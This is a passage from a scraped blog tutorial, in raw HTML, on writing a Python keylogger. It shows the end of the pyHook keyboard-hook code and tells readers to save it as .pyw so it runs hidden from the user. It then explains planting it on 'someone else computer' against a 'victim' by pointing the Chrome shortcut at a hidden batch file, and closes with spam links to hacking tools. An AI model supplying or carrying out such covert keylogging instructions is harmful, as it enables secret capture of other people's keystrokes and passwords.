<div style="box-sizing: border-box; margin-bottom: 26px; padding: 0px;"> hooks_manager=pyHook.HookManager()</div> <div style="box-sizing: border-box; margin-bottom: 26px; padding: 0px;"> hooks_manager.KeyDown=onKeyboardEvent</div> <div style="box-sizing: border-box; margin-bottom: 26px; padding: 0px;"> hooks_manager.HookKeyboard()</div> <div style="box-sizing: border-box; margin-bottom: 26px; padding: 0px;"> pythoncom.PumpMessages()</div> </blockquote> <div style="background-color: white; box-sizing: border-box; color: #666666; font-family: Raleway, sans-serif; font-size: 16px; margin-bottom: 26px; padding: 0px;"> Save your file as a test.pyw at any location you want, the .pyw extension is very important because of it the python keylogger will run in the background without notifying the user.</div> <div style="background-color: white; box-sizing: border-box; color: #666666; font-family: Raleway, sans-serif; font-size: 16px; margin-bottom: 26px; padding: 0px;"> <img class="size-medium aligncenter jetpack-lazy-image--handled" data-lazy-loaded="1" height="417" src="https://i0.wp.com/geekviews.tech/wp-content/uploads/2017/02/python11.png?w=557&ssl=1" style="border: 0px; box-sizing: border-box; display: block; height: auto; margin: 0px auto 20px; max-width: 100%;" width="557" /></div> <div style="background-color: white; box-sizing: border-box; color: #666666; font-family: Raleway, sans-serif; font-size: 16px; margin-bottom: 26px; padding: 0px;"> The Python Keylogger is now completed you can test it out by opening it and typing some text in your browser, go to the log.txt file which is in the F:\test\log.txt on my PC. You will find your log.txt file in C:\test\log.txt.But what if you want to test it on someone else computer? you want to run it without the user knowing that it has been launched, this can be done by attaching it to the program that the victim always uses such as Google Chrome.</div> <div style="background-color: white; box-sizing: border-box; color: #666666; font-family: Raleway, sans-serif; font-size: 16px; margin-bottom: 26px; padding: 0px;"> <span style="box-sizing: border-box; font-weight: 700;">Let's make the python keylogger auto-launchable by attaching it the Google Chrome.</span></div> <div style="background-color: white; box-sizing: border-box; color: #666666; font-family: Raleway, sans-serif; font-size: 16px; margin-bottom: 26px; padding: 0px;"> Copy the following code and paste into notepad. Save it by giving .bat extension e.g launch.bat in a hidden location, e.g c:\test\launch.bat</div> <div style="background-color: white; box-sizing: border-box; color: #666666; font-family: Raleway, sans-serif; font-size: 16px; margin-bottom: 26px; padding: 0px;"> <textarea class="crayon-plain print-no" data-settings="dblclick" readonly="readonly" style="border-color: rgb(227, 227, 227); box-shadow: rgb(238, 238, 238) 1px 1px 3px inset; color: #999999; font-family: inherit; font-size: 12px !important; line-height: 15px !important; margin: 0px; overflow: auto; padding: 16px; tab-size: 4; vertical-align: top; width: 697px;" wrap="soft"></textarea></div> <div style="background-color: white; box-sizing: border-box; color: #666666; font-family: Raleway, sans-serif; font-size: 16px; margin-bottom: 26px; padding: 0px;"> Now right click on the google chrome desktop shortcut icon and click on properties. You will see a field called <b style="box-sizing: border-box;">Target</b>. Change the target field to the batch file <span style="box-sizing: border-box; font-weight: 700;">launch.bat </span>directory that you created. let's say you have saved your launch.bat file in a test folder in C, Then change the target field with "C:\test\launch.bat". Now, whenever the user opens chrome the keylogger will run automatically.</div> <div style="background-color: white; box-sizing: border-box; color: #666666; font-family: Raleway, sans-serif; font-size: 16px; margin-bottom: 26px; padding: 0px;"> <img class="size-medium aligncenter jetpack-lazy-image--handled" data-lazy-loaded="1" height="408" src="https://i0.wp.com/geekviews.tech/wp-content/uploads/2017/02/python12.png?w=360&ssl=1" style="border: 0px; box-sizing: border-box; display: block; height: auto; margin: 0px auto 20px; max-width: 100%;" width="360" /></div> </div><b>More info</b><br><ol><li> <a href="https://www.google.sm/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.blackploit.com%2F2013%2F01%2Fwikirebels-wikileaks-con-la-filtracion.html">Hacker Tools For Pc </a></li><li> <a href="https://www.google.im/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Famp.kitploit.com%2F2020%2F03%2Fkatana-python-tool-for-google-hacking.html">Hacking Tools For Windows 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